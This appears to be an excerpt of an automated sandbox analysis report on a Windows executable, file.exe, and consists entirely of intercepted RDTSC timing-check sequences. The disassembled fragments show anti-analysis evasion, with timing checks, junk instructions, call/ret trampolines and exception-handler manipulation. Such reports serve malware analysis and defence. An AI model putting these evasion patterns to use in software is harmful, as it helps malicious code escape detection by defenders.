Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751064 second address: 75106A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7553FE second address: 755419 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F63E478794Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755419 second address: 755434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63E4B4E546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755434 second address: 75545A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F63E4787954h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75545A second address: 755460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755460 second address: 755465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BDE5 second address: 75BDF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F63E4B4E536h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BF14 second address: 75BF18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EB2C second address: 75EB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ECDB second address: 75ECF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ECF0 second address: 75ECF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDBE second address: 75EDC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDC2 second address: 75EDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EDC8 second address: 75EDD2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F63E478794Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7607A8 second address: 7607AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7607AC second address: 7607B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7607B0 second address: 7607ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1B8Fh], eax 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F63E4B4E538h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov di, cx 0x0000002f xchg eax, ebx 0x00000030 push ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 jbe 00007F63E4B4E536h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7607ED second address: 7607FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7610B1 second address: 7610B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764F76 second address: 764FF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F63E4787948h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov di, 6760h 0x00000028 push 00000000h 0x0000002a mov esi, dword ptr [ebp+1246915Bh] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F63E4787948h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c xchg eax, ebx 0x0000004d jmp 00007F63E4787959h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jo 00007F63E4787948h 0x0000005b push ecx 0x0000005c pop ecx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7686F7 second address: 76875E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F63E4B4E536h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F63E4B4E538h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b sub dword ptr [ebp+122D1838h], edx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F63E4B4E538h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d mov edi, ebx 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76875E second address: 76877B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76972A second address: 76972E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B80D second address: 76B829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pushad 0x0000000c jnl 00007F63E4787946h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B829 second address: 76B879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 jmp 00007F63E4B4E53Bh 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F63E4B4E538h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov ebx, 44BE21D0h 0x0000002d push 00000000h 0x0000002f adc bh, FFFFFF93h 0x00000032 xchg eax, esi 0x00000033 pushad 0x00000034 push eax 0x00000035 jnp 00007F63E4B4E536h 0x0000003b pop eax 0x0000003c pushad 0x0000003d push edx 0x0000003e pop edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B879 second address: 76B891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F63E478794Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D8B8 second address: 76D91B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 pushad 0x00000009 mov dword ptr [ebp+122D5669h], ecx 0x0000000f call 00007F63E4B4E53Ah 0x00000014 call 00007F63E4B4E53Bh 0x00000019 pop ebx 0x0000001a pop eax 0x0000001b popad 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F63E4B4E538h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 add dword ptr [ebp+124478E3h], eax 0x0000003e push 00000000h 0x00000040 movsx edi, dx 0x00000043 xchg eax, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 push edi 0x00000047 jns 00007F63E4B4E536h 0x0000004d pop edi 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76579F second address: 7657BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F63E4787958h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767828 second address: 76782C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A954 second address: 76A974 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F63E4787946h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jl 00007F63E4787946h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E8BB second address: 76E946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63E4B4E549h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov edi, dword ptr [ebp+122D3827h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F63E4B4E538h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F63E4B4E538h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+122D3957h] 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 jno 00007F63E4B4E53Ch 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DA4B second address: 76DA5E instructions: 0x00000000 rdtsc 0x00000002 je 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76782C second address: 767832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A974 second address: 76A985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DA5E second address: 76DACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 xor bl, FFFFFFC7h 0x0000000c push dword ptr fs:[00000000h] 0x00000013 pushad 0x00000014 movsx edi, bx 0x00000017 xor di, B12Fh 0x0000001c popad 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov eax, dword ptr [ebp+122D1671h] 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F63E4B4E538h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 mov dword ptr [ebp+124478A2h], eax 0x0000004a push FFFFFFFFh 0x0000004c adc di, BE8Dh 0x00000051 nop 0x00000052 pushad 0x00000053 jmp 00007F63E4B4E544h 0x00000058 push ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DACB second address: 76DADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F63E4787948h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772907 second address: 77290D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F972 second address: 76F978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771A83 second address: 771A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F978 second address: 76F97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77604A second address: 776055 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775255 second address: 775259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772AD5 second address: 772B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E4B4E53Dh 0x00000009 popad 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F63E4B4E546h 0x00000018 jmp 00007F63E4B4E53Dh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775259 second address: 77525F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772B14 second address: 772B19 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77525F second address: 775281 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F63E4787957h 0x00000008 jmp 00007F63E4787951h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772B19 second address: 772B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F63E4B4E538h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov ebx, ecx 0x00000024 push dword ptr fs:[00000000h] 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F63E4B4E538h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000019h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 mov dword ptr fs:[00000000h], esp 0x0000004c add ebx, 071A1734h 0x00000052 mov eax, dword ptr [ebp+122D14ADh] 0x00000058 mov bl, DAh 0x0000005a push FFFFFFFFh 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f jo 00007F63E4B4E538h 0x00000065 push ecx 0x00000066 pop ecx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77711D second address: 77716E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 xor edi, 3D3B8FF0h 0x0000000f push 00000000h 0x00000011 and ebx, 22933887h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F63E4787948h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 mov ebx, 0A29368Ah 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F63E4787951h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77716E second address: 777173 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7782A1 second address: 7782AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7773C4 second address: 7773CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7782AB second address: 7782B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7773CA second address: 7773F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F63E4B4E53Dh 0x00000011 jmp 00007F63E4B4E53Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7782B1 second address: 7782BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7782BA second address: 778329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F63E4B4E538h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov edi, dword ptr [ebp+122D389Bh] 0x0000002a mov ebx, 24C4573Bh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F63E4B4E538h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b jmp 00007F63E4B4E543h 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778329 second address: 778334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F63E4787946h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778334 second address: 778352 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E540h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F63E4B4E544h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7812BC second address: 7812C6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7812C6 second address: 7812CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7812CA second address: 7812ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787951h 0x00000007 jc 00007F63E4787946h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jp 00007F63E478794Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7812ED second address: 7812F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7812F7 second address: 781322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E478794Bh 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F63E4787957h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781322 second address: 781339 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E541h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781339 second address: 78133E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78133E second address: 781344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780B56 second address: 780B88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787957h 0x00000007 jmp 00007F63E4787952h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780B88 second address: 780B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780B91 second address: 780B95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780CC4 second address: 780CE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Ch 0x00000007 jc 00007F63E4B4E536h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F63E4B4E536h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780CE2 second address: 780CF4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F63E4787946h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7868A2 second address: 7868B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63E4B4E540h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7881B6 second address: 788206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787954h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F63E4787953h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 jmp 00007F63E4787952h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
